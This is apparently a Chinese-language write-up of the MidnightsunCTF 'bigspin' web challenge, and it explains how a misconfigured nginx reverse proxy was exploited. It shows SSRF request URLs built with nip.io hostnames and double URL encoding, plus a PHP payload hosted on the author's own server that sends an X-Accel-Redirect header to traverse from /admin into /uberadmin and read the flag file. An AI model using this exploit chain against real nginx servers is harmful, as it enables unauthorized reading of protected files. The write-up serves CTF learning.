0%

MidnightsunCTF-bigspin Writeup

前言

这个CTF真是让我受益匪浅,前面一篇文章记录了三道有关Markdown语法的XSS,这篇记录一下MidnightsunCTF中的另外一道很有意思的题–bigspin

正文

题目描述

This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?

主页包含了四个链接:

/uberadmin/ ==> 403

/admin/ ==> 404

/user/ ==>403

/pleb/ ==>200

前面三个链接主要是为了告诉我们这是nginx服务,第四个链接返回的是http://www.example.com/主页面,表面上我们就只知道这些东西,唯一知道的传参点以及触发点就是url了。前面三个链接告诉我们nginx是有道理的,可以从nginx漏洞出发想这道题。

google一波nginx漏洞看到最多就是nginx配置安全漏洞,这里放一篇p神的文章

https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html

fuzz目录穿越漏洞

/pleb../ ==> 502

/pleb../ect/passwd ==> 502

/plebsher/ ==> 502

理论上如果不存在这个漏洞访问一个不存在的目录时应该返回404,就前面提到的admin一样,这个网站就不存在admin目录;如果存在这个漏洞,最后返回的状态码应该是200或者404,最后返回的是502,产生502的主要的三种原因如下:

img

看到这三种原因,最有可能就是第一种域名未解析到正确ip上,又因为当访问/pleb/时反馈给我们的是www.example.com的界面内容,这样我们可以想到nginx反向代理,即访问流程就为:

/pleb../ ==> www.example.com.. ==> 502

/pleb../ect/passwd ==> www.example.com../etc/passwd ==> 502

/plebsher/ ==> www.example.comsher ==> 502

这里需要知道nip.io这个公用域名。

结合www.example.comnip.io我们可以就可以进行ssrf:

读去最开始的几个目录发现/user/==>200:

单点链接发现打不开,这是因为进行了双重url解密,所以只需要进行双重url加密即可:

1
http://bigspin-01.play.midnightsunctf.se:3123/pleb.127.0.0.1.nip.io/user/nginx.c%25C3%25B6nf%2520

读取内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
worker_connections 1024;
}

http {

# Set an array of temp and cache files options that otherwise defaults to
# restricted locations accessible only to root.

client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
resolver 8.8.8.8 ipv6=off;

server {
listen 80;

location / {
root /var/www/html/public;
try_files $uri $uri/index.html $uri/ =404;
}

location /user {
allow 127.0.0.1;
deny all;
autoindex on;
root /var/www/html/;
}

location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}

location /uberadmin {
allow 0.13.3.7;
deny all;
autoindex on;
alias /var/www/html/uberadmin/;
}

location ~ /pleb([/a-zA-Z0-9.:%]+) {
proxy_pass http://example.com$1;
}

access_log /dev/stdout;
error_log /dev/stdout;
}

}

照葫芦画瓢访问:

1
http://bigspin-01.play.midnightsunctf.se:3123/pleb.0.13.3.7.nip.io//uberadmin/

结果502了。在/admin中存在目录穿越漏洞,但是不能直接利用,看到国外老哥wp中说这里可以用X-Accel-Redirect进行漏洞利用,在自己的vps根目录中添加

1
2
3
<?php
header(“X-Accel-Redirect: /admin/”)
?>

现在请求/pleb.vps.nip.io/exp.php返回

/admin/flag.txt返回替换重定向标头:

hmmm, should admins really get flags? seems like an uberadmin thing to me

这样可以利用在/admin中存在的目录穿越漏洞,payload:

1
2
3
<?php 
header("X-Accel-Redirect: /admin../uberadmin/flag.txt");
?>

读取文件得到flag:

midnight{[email protected]}

总结

从这到题可以看出作者的思维十分的缜密。是一道很好的题,也学到很多东西。

学习到了www.example.comnip.io组合拳进行ssrf,以及了解到nginx的几个漏洞和nginx反向代理的一些知识点

参考链接

https://github.com/perfectblue/ctf-writeups/tree/master/midnightsun-ctf-2019-quals/bigspin

https://medium.com/@defmax/midnight-sun-ctf-2019-quals-writeup-437ea139d90c

https://github.com/dreadlocked/ctf-writeups/blob/master/midnightsun-ctf/bigspin.md

https://saarsec.rocks/2019/04/08/MidnightSun-Web.html